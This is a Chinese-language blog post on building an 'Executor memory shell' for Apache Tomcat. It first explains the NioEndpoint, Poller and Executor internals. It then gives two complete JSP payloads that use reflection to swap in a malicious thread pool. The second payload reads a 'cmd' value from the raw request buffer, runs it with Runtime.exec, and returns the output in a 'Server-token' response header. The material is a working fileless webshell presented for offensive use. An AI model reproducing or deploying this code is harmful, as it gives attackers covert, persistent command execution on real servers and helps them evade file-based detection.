Executor Memory Shell

前置知识

通过对之前Tomcat的整体架构的学习,可以知道一个Tomcat中是有一个Server,一个Server下有好几个Service,一个Service有多个Connector和一个Container,Connector是负责处理连接相关的事情,Container用于封装和管理Servlet和处理Request请求。

image-20220928162402322

Connector架构分析

在Connector和Container的关系中说到,Connector是接收请求并且把他封装成Request和Response,然后交给Container处理,Container处理完以后返回给客户端,具体过程如下

image-20220928163453107

请求来到Connector中,用ProtocolHandler来处理请求,不同的ProtocolHandler代表不同的连接类型。Http11Protocol使用的是普通Socket来连接的,Http11NioProtocol使用的是NioSocket来连接的。

ProtocolHandler又包含三部分,分别是Endpoint,Processor和adapeter。Endpoint用来处理底层Socket的网络连接,Processor把Endpoint接收到的Socket封装成Request,Adapter把Request交给Container进行具体的处理。image-20221007204256333

NioEndpoint

Endpoint五大组件:

  • LimitLatch:连接控制器,负责控制最大的连接数
  • Acceptor:负责接收新的连接,然后返回一个Channel对象给Poller
  • Poller:可以将其看成是NIO中Selector,负责监控Channel的状态
  • SocketProcessor:可以看成是一个被封装的任务类
  • Executor:Tomcat自己扩展的线程池,用来执行任务类

直接来看org.apache.tomcat.util.net.NioEndpoint.Poller,直接来看他的run方法,通过调用events方法,来判断是否还有Pollerevent事件,如果有就将其取出,然后把里面的Channel取出来注册到该Selector中,然后不断轮询所有注册过的Channel查看是否有事件发生。当有事件发生时,则调用SocketProcessor交给Executor执行。

public class Poller implements Runnable {
    .....
    public void run() {
            // Loop until destroy() is called
            while (true) {

                boolean hasEvents = false;

                try {
                    if (!close) {
                        hasEvents = events();
                        if (wakeupCounter.getAndSet(-1) > 0) {
                            // If we are here, means we have other stuff to do
                            // Do a non blocking select
                            keyCount = selector.selectNow();
                        } else {
                            keyCount = selector.select(selectorTimeout);
                        }
                        wakeupCounter.set(0);
                    }
                    if (close) {
                        events();
                        timeout(0, false);
                        try {
                            selector.close();
                        } catch (IOException ioe) {
                            log.error(sm.getString("endpoint.nio.selectorCloseFail"), ioe);
                        }
                        break;
                    }
                    // Either we timed out or we woke up, process events first
                    if (keyCount == 0) {
                        hasEvents = (hasEvents | events());
                    }
                } catch (Throwable x) {
                    ExceptionUtils.handleThrowable(x);
                    log.error(sm.getString("endpoint.nio.selectorLoopError"), x);
                    continue;
                }

                Iterator<SelectionKey> iterator =
                    keyCount > 0 ? selector.selectedKeys().iterator() : null;
                // Walk through the collection of ready keys and dispatch
                // any active event.
                while (iterator != null && iterator.hasNext()) {
                    SelectionKey sk = iterator.next();
                    iterator.remove();
                    NioSocketWrapper socketWrapper = (NioSocketWrapper) sk.attachment();
                    // Attachment may be null if another thread has called
                    // cancelledKey()
                    if (socketWrapper != null) {
                        processKey(sk, socketWrapper);
                    }
                }

                // Process timeouts
                timeout(keyCount,hasEvents);
            }

            getStopLatch().countDown();
        }
    .....
}

然后来看processKey方法,processKey()这个方法主要通过调用processSocket()方法创建一个SocketProcessor,然后丢到Tomcat线程池中去执行。每个Endpoint都有自己的SocketProcessor实现,从Endpoint的属性中可以看到,这个Processor也有缓存机制。 总结一下Poller所做的事:遍历PollerEvents队列,将每个事件中的通道感兴趣的事件注册到Selector,当事件就绪时,创建一个SocketProcessor或者从缓存中取出一个SocketProcessor,然后放到线程池执行或者直接执行它的run方法执行。

image-20221007210001412
image-20221007210033816

Executor

public interface Executor {
    void execute(Runnable command);
}

在Tomcat中Executor由Service维护,因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池,相关组件( 如Endpoint)会自动创建线程池,此时,线程池不再共享。

image-20221007210513497
image-20221007210618930

这里是直接实例化EndPoint自己启动的TreadPoolExecutor类,所以我们恶意的Executor只需要继承这个类即可,来看看execute方法

@Override
public void execute(Runnable command) {
    execute(command,0,TimeUnit.MILLISECONDS);
}
image-20221007210941857

所以我们只需要新建一个类继承自这个TreadPoolExecutor类,然后把恶意的逻辑重写到execute方法即可。

此外,他还有一个setExecutor方法,可以直接设置Executor,所以我们只需要获取到NioEndpoint然后调用setExecutor方法把恶意类设置进去即可。

public void setExecutor(Executor executor) {
    this.executor = executor;
    this.internalExecutor = (executor == null);
}

正文

上文说到,我们只需要构造一个继承自TreadPoolExecutor类的恶意类,然后重写恶意逻辑到execute方法。所以最简单的内存马就可以写好了,主要的问题就是获取NioEndpoint对象。

<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.util.concurrent.RejectedExecutionHandler" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%!
  public Object getField(Object object, String fieldName) {
    Field declaredField;
    Class clazz = object.getClass();
    while (clazz != Object.class) {
      try {

        declaredField = clazz.getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        return declaredField.get(object);
      } catch (NoSuchFieldException | IllegalAccessException e) {
      }
      clazz = clazz.getSuperclass();
    }
    return null;
  }


  public Object getStandardService() {
    Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
      if (thread == null) {
        continue;
      }
      if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
        Object target = this.getField(thread, "target");
        Object jioEndPoint = null;
        try {
          jioEndPoint = getField(target, "endpoint");
          return jioEndPoint;
        } catch (Exception e) {
        }
      }
    }
    return new Object();
  }

  public class threadexcutor extends ThreadPoolExecutor {

    public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
      super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
    }


    @Override
    public void execute(Runnable command) {
      try {
        Runtime.getRuntime().exec("calc");
      } catch (IOException e) {
        throw new RuntimeException(e);
      }

      this.execute(command, 0L, TimeUnit.MILLISECONDS);
    }

  }
%>
<%
  NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
  ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
  threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
  nioEndpoint.setExecutor(exe);
%>
image-20221007211749360

那么这样的话我们只能执行固定的命令,如果说需要交互的话,还需要我们进一步的处理。我们可以通过把命令放到请求头里来实现交互。这时候就需要我们去获取到Response和Request,在@bluE0中说到,NioEndpoint中的nioChannels的appReadBufHandler其中的Buffer存放着我们所需要的request,这里直接引用@bluE0师傅的图。所以我们只需要从NioEndpoint的nioChannels的appReadBufHandler获取命令即可

image-20221007212743254

除了交互式,我们还需要让他回显,具体也还是看@bluE0师傅在先知发的文章,将命令执行的结果提前放入Tomcat的response,通过Acceptor的endpoint属性的handler属性的global属性的processors属性获取到一个RequestInfo的ArrayList,然后遍历,获取RequestInfo,从RequestInfo的req属性的response属性获取response对象,然后调用addHeader方法来实现回显

最后的jsp的内存马如下

<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.util.concurrent.RejectedExecutionHandler" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%!
  public Object getField(Object object, String fieldName) {
    Field declaredField;
    Class clazz = object.getClass();
    while (clazz != Object.class) {
      try {

        declaredField = clazz.getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        return declaredField.get(object);
      } catch (NoSuchFieldException | IllegalAccessException e) {
      }
      clazz = clazz.getSuperclass();
    }
    return null;
  }


  public Object getStandardService() {
    Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
      if (thread == null) {
        continue;
      }
      if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
        Object target = this.getField(thread, "target");
        Object jioEndPoint = null;
        try {
          jioEndPoint = getField(target, "this$0");
        } catch (Exception e) {
        }
        if (jioEndPoint == null) {
          try {
            jioEndPoint = getField(target, "endpoint");
            return jioEndPoint;
          } catch (Exception e) {
            new Object();
          }
        } else {
          return jioEndPoint;
        }
      }

    }
    return new Object();
  }

  public class threadexcutor extends ThreadPoolExecutor {

    public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
      super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
    }

    public String getRequest() {
      try {
        Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));

        for (Thread thread : threads) {
          if (thread != null) {
            String threadName = thread.getName();
            if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
              Object target = getField(thread, "target");
              if (target instanceof Runnable) {
                try {


                  //Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");

                  Object[] objects = (Object[]) getField(getField(getField(target, "endpoint"), "nioChannels"), "stack");
                  ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
                  String a = new String(heapByteBuffer.array(), "UTF-8");

                  if (a.indexOf("cmd") > -1) {
                    System.out.println(a.indexOf("cmd"));
                    System.out.println(a.indexOf("\r", a.indexOf("cmd")) - 1);
                    String b = a.substring(a.indexOf("cmd") + "cmd".length() + 1, a.indexOf("\r", a.indexOf("cmd")) - 1);
                    return b;
                  }

                } catch (Exception var11) {
                  System.out.println(var11);
                  continue;
                }


              }
            }
          }
        }
      } catch (Exception ignored) {
      }
      return new String();
    }


    public void getResponse(byte[] res) {
      System.out.println(1);
      try {
        Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));

        for (Thread thread : threads) {
          if (thread != null) {
            String threadName = thread.getName();
            if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
              Object target = getField(thread, "target");
              if (target instanceof Runnable) {
                try {
                  ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "endpoint"), "handler"), "global"), "processors");
                  for (Object tmp_object : objects) {
                    RequestInfo request = (RequestInfo) tmp_object;
                    Response response = (Response) getField(getField(request, "req"), "response");
                    System.out.println("res:"+new String(res, "UTF-8"));
                    response.addHeader("Server-token", new String(res, "UTF-8"));
                  }
                } catch (Exception var11) {
                  continue;
                }

              }
            }
          }
        }
      } catch (Exception ignored) {
      }
    }


    @Override
    public void execute(Runnable command) {
//      System.out.println("123");
      String cmd = getRequest();
      System.out.println("cmd"+cmd);
      try {
        Runtime.getRuntime().exec(cmd);
      } catch (IOException e) {
        throw new RuntimeException(e);
      }

      if (cmd.length() > 1) {
        try {
          Runtime rt = Runtime.getRuntime();
          Process process = rt.exec(cmd);
          java.io.InputStream in = process.getInputStream();

          java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
          java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
          String s = "";
          String tmp = "";
          while ((tmp = stdInput.readLine()) != null) {
            s += tmp;
          }
          if (s != "") {
            byte[] res = s.getBytes(StandardCharsets.UTF_8);
            getResponse(res);
          }


        } catch (IOException e) {
          e.printStackTrace();
        }
      }


      this.execute(command, 0L, TimeUnit.MILLISECONDS);
    }

  }

%>

<%
  NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
  ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
  threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
  nioEndpoint.setExecutor(exe);
%>
image-20221007221202421

问题

该内存马会存在个问题,就是需要多次请求才能执行到指定的命令,后续还会再研究,先丢着。感谢@bulE0师傅的文章给我学习的机会